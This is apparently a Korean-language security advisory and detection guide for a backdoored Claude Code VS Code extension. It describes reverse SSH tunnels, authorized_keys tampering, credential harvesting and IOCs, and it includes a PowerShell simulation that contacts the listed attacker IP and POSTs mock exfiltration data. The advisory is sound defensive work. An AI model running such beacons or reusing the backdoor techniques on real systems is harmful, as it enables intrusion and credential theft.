Claude 코드 확장 프로그램 손상: 보안 권고 사항
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Cursor Marketplace에서 공식 Claude Code for VS Code 확장 버전 2.1.313의 백도어가 발견되었습니다. 이 악성 소프트웨어는 macOS, Linux, Windows에서 authorized_keys 를 수정하고 역 SSH 터널을 생성하여 지속적인 SSH 백도어를 설정합니다. 또한 호스트 환경 변수를 탐색하여 민감한 환경 변수 및 노출된 자격 증명을 감지합니다.
조사
Phorion은 확장 로드 시 즉시 실행되는 축소된 확장 번들 내부에 주입된 즉시 실행 함수 표현(IIFE)을 식별했습니다. 조사 결과, 악성 소프트웨어가 SSH 서비스를 활성화하려는 시도를 하며 피해자 인증 및 역 터널 설정에 특정 Ed25519 키를 사용하는 것으로 나타났습니다. 연구원들은 macOS 및 Windows 논리의 구현 결함을 발견하여 기존 권한 없이 서비스를 활성화하는 능력을 제한할 수 있다는 점도 확인했습니다.
완화 방안
조직은 즉시 Claude Code for VS Code 확장 버전 2.1.313을 식별하고 제거해야 합니다. macOS에서는 사용자가 com.apple.sysmond.plist LaunchAgent를 언로드하고 삭제해야 합니다. 보안 팀은 SSH 구성을 점검하고 영향을 받은 svc-telemetry 공개 키를 authorized_keys 파일에서 제거해야 합니다.
응답
타협이 감지되면 복제된 셸 재시도 루프와 ssh or autossh 를 포함한 활성 터널 프로세스를 종료합니다. 또한, 지속성 아티팩트를 제거하고, 일정한 작업과 숨겨진 스크립트를 134.209.82.225에 연결하는 프로세스를 제거합니다. .config 디렉토리에 저장된 항목을 포함하여 제거해야 합니다. 특히, 영향을 받은 호스트의 환경 변수를 통해 노출된 모든 자격 증명 및 API 토큰을 회전해야 합니다.
공격 흐름
이 부분은 아직 업데이트 중입니다.
탐지
가능한 IP 조회 도메인 통신 시도 (dns를 통해)
Autostart 위치에 있는 의심스러운 바이너리 / 스크립트 (file_event를 통해)
일반적이지 않은 포트를 사용하는 HTTP를 통한 가능한 C2 통신 (proxy를 통해)
Linux 호스트에 숨김 파일이 생성되었습니다 (file_event를 통해)
IOC(HashSha256) 탐지: 공식 Claude Code 확장 손상: 보안 권고
IOC(SourceIP) 탐지: 공식 Claude Code 확장 손상: 보안 권고
IOC(DestinationIP) 탐지: 공식 Claude Code 확장 손상: 보안 권고
알려진 악성 IP 주소로의 의심스러운 SSH 활동 감지 [Windows 네트워크 연결]
macOS에서 Claude Code VS Code 확장의 백도어 탐지 [Linux 파일 이벤트]
시뮬레이션 실행
-
공격 서사 및 명령: 초기 액세스를 달성한 공격자는 지속적인 C2 터널을 설정하려고 합니다. 그들은
134.209.82.225의 포트22에서 SSH 연결을 시작하여 횡적 이동을 위한 안전한 터널을 생성합니다. 즉시, 악성 요원은 다음 주소로 HTTP POST 요청을 실행합니다.http://134.209.82.225:8099에 인코딩된 시스템 정보를 포함합니다. 이 “SSH + 동일 IP에 대한 HTTP POST”의 특정 시퀀스는 규칙의조건: selection_ssh 및 selection_http. -
회귀 테스트 스크립트:
# 시뮬레이션 스크립트: 의심스러운 SSH 및 HTTP POST 활동 트리거 $TargetIP = "134.209.82.225" $SSHPort = 22 $HTTPPort = 8099 Write-Host "[+] 시뮬레이션 시작..." -ForegroundColor Cyan # 단계 1: SSH 연결 시뮬레이션 (Test-NetConnection을 사용하여 Sysmon ID 3 생성) Write-Host "[+] 단계 1: 포트 $SSHPort에서 $TargetIP로의 출발 SSH 연결 시뮬레이션" Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue # 단계 2: HTTP POST 요청 시뮬레이션 (Invoke-WebRequest 사용) Write-Host "[+] 단계 2: 포트 $HTTPPort에서 $TargetIP로의 HTTP POST 비콘 시뮬레이션" try { # IP가 접근할 수 없는 경우 스크립트가 멈추지 않도록 짧은 시간 제한을 사용합니다. $payload = @{ data = "simulated_credential_harvesting_data" } Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5 } catch { Write-Host "[!] HTTP 요청 실패 (IP가 오프라인일 경우 예상됨), 그러나 텔레메트리가 생성되었어야 합니다." -ForegroundColor Yellow } Write-Host "[+] 시뮬레이션 명령 실행 완료." -ForegroundColor Green -
정리 명령:
# 이 시뮬레이션 동안 시스템에 지속적인 변경이 이루어지지 않았습니다. # 파일이 생성되지 않았고, 실제로 설치된 서비스도 없습니다. Write-Host "[+] 정리 완료. 제거할 아티팩트 없음." -ForegroundColor Green